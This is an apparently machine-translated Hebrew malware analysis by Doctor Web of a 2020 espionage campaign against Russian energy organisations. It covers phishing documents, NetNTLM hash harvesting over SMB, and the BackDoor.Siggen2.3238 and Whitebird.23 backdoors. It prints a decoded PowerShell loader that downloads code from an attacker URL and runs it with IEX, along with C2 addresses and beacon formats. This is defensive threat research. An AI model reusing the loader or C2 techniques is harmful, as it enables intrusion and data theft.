אנו חוקרים מתקפת ריגול ממוקדת על מתחם הדלק והאנרגיה הרוסי

הניסיון שלנו בחקירת אירועי אבטחת מחשבים מראה שדוא"ל הוא עדיין אחד הערוצים הנפוצים ביותר המשמשים תוקפים לחדור תחילה לתשתיות רשת מותקפות. פעולה אחת רשלנית עם מכתב חשוד (או לא כל כך חשוד) הופכת לנקודת כניסה להידבקות נוספת, וזו הסיבה שפושעי סייבר משתמשים באופן פעיל בשיטות הנדסה חברתית, אם כי בדרגות שונות של הצלחה.

בפוסט זה אנו רוצים לדבר על החקירה האחרונה שלנו על קמפיין ספאם המכוון למספר ארגונים במתחם הדלק והאנרגיה הרוסי. כל ההתקפות עקבו אחר אותו תרחיש באמצעות אימיילים מזויפים, ונראה שאיש לא השקיע מאמץ רב בתוכן הטקסט של המיילים הללו.

חקירה

הכל התחיל בסוף אפריל 2020, כאשר מנתחי וירוס דוקטור ווב זיהו מסע ספאם שבו האקרים שלחו ספריית טלפונים מעודכנת לעובדים של מספר ארגונים במתחם הדלק והאנרגיה הרוסי. כמובן, זו לא הייתה הפגנת דאגה פשוטה, מכיוון שהספרייה לא הייתה אמיתית, ומסמכי ה-.docx הורידו שתי תמונות ממשאבים מרוחקים.

אחד מהם הורד למחשב המשתמש משרת news[.]zannews[.]com. ראוי לציין ששם הדומיין דומה לתחום של מרכז התקשורת נגד שחיתות של קזחסטן - zannews[.]kz. מצד שני, הדומיין שבו נעשה שימוש הזכיר מיד מסע פרסום אחר משנת 2015 הידוע בשם TOPNEWS, שהשתמש בדלת אחורית של ICEFOG והיו לו דומיינים של שליטה טרויאנית עם המחרוזת המשנה "חדשות" בשמותיהם. תכונה מעניינת נוספת הייתה שכאשר שולחים מיילים לנמענים שונים, בקשות להורדת תמונה השתמשו בפרמטרים שונים של בקשה או בשמות ייחודיים של תמונה.

אנו מאמינים כי הדבר נעשה לצורך איסוף מידע לזיהוי נמען "אמין", אשר לאחר מכן מובטח שיפתח את המכתב בזמן הנכון. פרוטוקול ה-SMB שימש להורדת התמונה מהשרת השני, דבר שניתן לעשות כדי לאסוף חשישי NetNTLM ממחשביהם של עובדים שפתחו את המסמך שהתקבל.

והנה המכתב עצמו עם הספרייה המזויפת:

ביוני השנה, האקרים החלו להשתמש בשם דומיין חדש, sports[.]manhajnews[.]com, כדי להעלות תמונות. הניתוח הראה שתת-דומיינים של manhajnews[.]com היו בשימוש בדואר זבל לפחות מאז ספטמבר 2019. אחת המטרות של הקמפיין הזה הייתה אוניברסיטה רוסית גדולה.

כמו כן, עד יוני, מארגני המתקפה הגיעו עם טקסט חדש למכתביהם: הפעם המסמך הכיל מידע על התפתחות התעשייה. הטקסט של המכתב ציין בבירור כי מחברו אינו דובר רוסית שפת אם, או שהוא יוצר רושם כזה על עצמו בכוונה. לרוע המזל, רעיונות הפיתוח בתעשייה, כמו תמיד, התבררו ככריכה בלבד - המסמך הוריד שוב שתי תמונות, בעוד השרת שונה להורדה[.]inklingpaper[.]com.

החידוש הבא הגיע ביולי. בניסיון לעקוף את זיהוי מסמכים זדוניים על ידי תוכנות אנטי-וירוס, החלו התוקפים להשתמש במסמכי Microsoft Word המוצפנים בסיסמה. במקביל, התוקפים החליטו להשתמש בטכניקת הנדסה חברתית קלאסית - הודעת תגמול.

נוסח הערעור נכתב שוב באותו סגנון, מה שעורר חשד נוסף בקרב הנמען. גם השרת להורדת התמונה לא השתנה.

שים לב שבכל המקרים, תיבות דואר אלקטרוניות הרשומות בדומיינים mail[.]ru ו-yandex[.]ru שימשו לשליחת מכתבים.

התקפה

בתחילת ספטמבר 2020, הגיע הזמן לפעולה. מנתחי הווירוסים שלנו תיעדו גל חדש של התקפות, שבו התוקפים שוב שלחו מכתבים באמתלה של עדכון ספר טלפונים. עם זאת, הפעם הקובץ המצורף הכיל מאקרו זדוני.

בעת פתיחת המסמך המצורף, המאקרו יצר שני קבצים:

• סקריפט VBS %APPDATA%microsoftwindowsstart menuprogramsstartupadoba.vbs, שנועד להפעיל קובץ אצווה;
• קובץ האצווה עצמו %APPDATA%configstest.bat, שהיה מעורפל.

המהות של עבודתו מסתכמת בהשקת מעטפת Powershell עם פרמטרים מסוימים. הפרמטרים המועברים למעטפת מפוענחים לפקודות:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

כעולה מהפקודות שהוצגו, התחום שממנו מורידים את המטען מוסווה שוב כאתר חדשות. פשוט מטעין, שמשימתו היחידה היא לקבל קוד מעטפת משרת הפיקוד והבקרה ולבצע אותו. הצלחנו לזהות שני סוגים של דלתות אחוריות שניתן להתקין על המחשב האישי של הקורבן.

BackDoor.Siggen2.3238

הראשון הוא BackDoor.Siggen2.3238 - המומחים שלנו לא נתקלו בעבר, וגם לא היו אזכורים של תוכנית זו על ידי ספקי אנטי-וירוס אחרים.

תוכנית זו היא דלת אחורית שנכתבה ב-C++ ופועלת על מערכות הפעלה של Windows 32 סיביות.

BackDoor.Siggen2.3238 מסוגל לתקשר עם שרת הניהול באמצעות שני פרוטוקולים: HTTP ו-HTTPS. המדגם שנבדק משתמש בפרוטוקול HTTPS. משתמשים ב-User-Agent הבא בבקשות לשרת:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

במקרה זה, כל הבקשות מסופקות עם קבוצת הפרמטרים הבאה:

%s;type=%s;length=%s;realdata=%send

כאשר כל שורה %s מוחלפת בהתאמה ב:

• מזהה המחשב הנגוע,
• סוג הבקשה הנשלחת,
• אורך הנתונים בשדה הנתונים האמיתיים,
• הנתונים.

בשלב איסוף המידע על המערכת הנגועה, הדלת האחורית מייצרת שורה כמו:

lan=%s;cmpname=%s;username=%s;version=%s;

כאשר lan הוא כתובת ה-IP של המחשב הנגוע, cmpname הוא שם המחשב, שם המשתמש הוא שם המשתמש, הגרסה היא השורה 0.0.4.03.

מידע זה עם מזהה sysinfo נשלח באמצעות בקשת POST לשרת הבקרה שנמצא בכתובת https[:]//31.214[.]157.14/log.txt. אם בתגובה BackDoor.Siggen2.3238 מקבל את אות HEART, החיבור נחשב מוצלח, והדלת האחורית מתחילה את מחזור התקשורת הראשי עם השרת.

תיאור מלא יותר של עקרונות הפעולה BackDoor.Siggen2.3238 נמצא אצלנו ספריית וירוסים.

דלת אחורית.Whitebird.23

התוכנית השנייה היא שינוי של הדלת האחורית BackDoor.Whitebird, המוכרת לנו כבר מהתקרית עם סוכנות ממשלתית בקזחסטן. גרסה זו כתובה ב-C++ ומיועדת לפעול הן במערכות הפעלה של 32 סיביות ו-64 סיביות של Windows.

כמו רוב התוכניות מסוג זה, דלת אחורית.Whitebird.23 נועד ליצור חיבור מוצפן עם שרת הבקרה ושליטה בלתי מורשית במחשב נגוע. מותקן לתוך מערכת נפגעת באמצעות טפטפת BackDoor.Siggen2.3244.

המדגם שבדקנו היה ספרייה זדונית עם שני יצואים:

• גוגל פליי
• מבחן.

בתחילת עבודתו, הוא מפענח את התצורה המחוברת לגוף הדלת האחורית באמצעות אלגוריתם המבוסס על פעולת XOR עם בתים 0x99. התצורה נראית כך:

struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

כדי להבטיח את פעולתה המתמדת, הדלת האחורית משנה את הערך המצוין בשדה שעות עבודה תצורות. השדה מכיל 1440 בתים, שלוקחים את הערכים 0 או 1 ומייצגים כל דקה של כל שעה ביום. יוצר שרשור נפרד לכל ממשק רשת שמאזין לממשק ומחפש מנות הרשאה בשרת ה-proxy מהמחשב הנגוע. כאשר מזוהה מנה כזו, הדלת האחורית מוסיפה מידע על שרת ה-proxy לרשימתו. בנוסף, בודק נוכחות של פרוקסי דרך WinAPI InternetQueryOptionW.

התוכנית בודקת את הדקה והשעה הנוכחיות ומשווה אותן לנתונים בשטח שעות עבודה תצורות. אם הערך עבור הדקה המתאימה ביום אינו אפס, נוצר חיבור עם שרת הבקרה.

יצירת חיבור לשרת מדמה יצירת חיבור באמצעות פרוטוקול TLS גרסה 1.0 בין הלקוח לשרת. גוף הדלת האחורית מכיל שני חוצצים.

המאגר הראשון מכיל את חבילת TLS 1.0 Client Hello.

המאגר השני מכיל מנות TLS 1.0 Client Key Exchange באורך מפתח של 0x100 בתים, Change Cipher Spec, מוצפן Handshake Message.

בעת שליחת חבילת Client Hello, הדלת האחורית כותבת 4 בתים מהזמן הנוכחי ו-28 בתים של נתונים פסאודו-אקראיים בשדה Client Random, המחושבים באופן הבא:

v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

החבילה המתקבלת נשלחת לשרת הבקרה. התגובה (חבילת שרת Hello) בודקת:

• עמידה בפרוטוקול TLS גרסה 1.0;
• התאמת חותמת הזמן (ארבעת הבתים הראשונים של שדה מנות הנתונים האקראיים) שצוין על ידי הלקוח לחותמת הזמן שצוינה על ידי השרת;
• התאמה של 4 הבתים הראשונים אחרי חותמת הזמן בשדה נתונים אקראיים של הלקוח והשרת.

במקרה של ההתאמות שצוינו, הדלת האחורית מכינה חבילת Client Key Exchange. לשם כך, הוא משנה את המפתח הציבורי בחבילת Client Key Exchange, כמו גם את ההצפנה הרביעית ואת נתוני ההצפנה בחבילת הודעות לחיצת היד המוצפנות.

לאחר מכן, הדלת האחורית מקבלת את החבילה משרת הפיקוד והבקרה, בודקת שגרסת פרוטוקול TLS היא 1.0, ואז מקבלת עוד 54 בתים (גוף החבילה). זה משלים את הגדרת החיבור.

תיאור מלא יותר של עקרונות הפעולה דלת אחורית.Whitebird.23 נמצא אצלנו ספריית וירוסים.

מסקנה ומסקנות

ניתוח של מסמכים, תוכנות זדוניות והתשתית שבה נעשה שימוש מאפשר לנו לומר בביטחון שהמתקפה הוכנה על ידי אחת מקבוצות ה-APT הסיניות. בהתחשב בפונקציונליות של דלתות אחוריות המותקנות במחשבי הקורבנות במקרה של תקיפה מוצלחת, הדבקה מובילה, לכל הפחות, לגניבת מידע סודי ממחשבי ארגונים מותקפים.

בנוסף, תרחיש סביר מאוד הוא התקנה של סוסים טרויאניים מיוחדים על שרתים מקומיים עם פונקציה מיוחדת. אלה יכולים להיות בקרי תחום, שרתי דואר, שערים לאינטרנט וכו'. כפי שיכולנו לראות בדוגמה תקרית בקזחסטן, שרתים כאלה מעניינים במיוחד תוקפים מסיבות שונות.

מקור: www.habr.com